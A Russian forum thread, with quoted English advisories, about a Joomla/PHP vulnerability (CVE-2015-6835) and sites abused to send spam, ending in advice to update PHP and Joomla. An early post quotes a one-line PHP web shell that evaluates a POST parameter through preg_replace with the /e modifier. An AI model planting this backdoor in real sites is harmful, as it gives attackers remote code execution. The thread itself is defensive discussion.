Идея Рассылка спама с вашего сайта - реальность?!

Arhitektorius пишет: Aleksej, сначала про защиту усиленную на твоём форуме... Писал сообщение, приложил картинку с я диска результат...

<?php @preg_replace('/(.*)/e', @$_POST['xqzuxcecpfz'], '');

ralf пишет: Внимание, если нет возможности накатить обновление для движка, вносим в .htaccess эти строчки

Arhitektorius пишет: Интересно, а в каком случае не бывает возможности накатить новый движок, но при этом есть возможность отредактировать htaccess?

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.

---

This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!

---

Advice: Make sure you always use the latest version of your software.

PHP version 5.4 have reached its end of life and is no longer maintained by the project. Given the very important number of downloads by the users of my repository (~47%) the version is still available in remi repository for Enterprise Linux (RHEL, CentOS...) and includes the latest security fix. The upgrade to a maintained version is strongly recommended.
These versions are also available as Software Collections.

---

These versions fix some security bugs, so update is strongly recommended.

Aleksej пишет: Имеется в виду вот эта самая, уже пофиксенная осенью бага, CVE-2015-6835. Также рекомендую обратить внимание на блог Remi, "главного по тарелочкам", то есть по php, специалиста проекта Fedora, утверждающего практически то же самое

What's in 3.4.7

Version 3.4.7 is released to address two reported security vulnerabilities and includes security hardening of the MySQLi driver to help prevent object injection attacks.
The Joomla Security Strike team has been following up on the critical security vulnerability patched last week. Since the recent update it has become clear that the root cause is a bug in PHP itself. This was fixed by PHP in September of 2015 with the releases of PHP 5.4.45, 5.5.29, 5.6.13 (Note that this is fixed in all versions of PHP 7 and has been back-ported in some specific Linux LTS versions of PHP 5.3). The only Joomla sites affected by this bug are those which are hosted on vulnerable versions of PHP. We are aware that not all hosts keep their PHP installations up to date so we are making this release to deal with this issue on vulnerable PHP versions.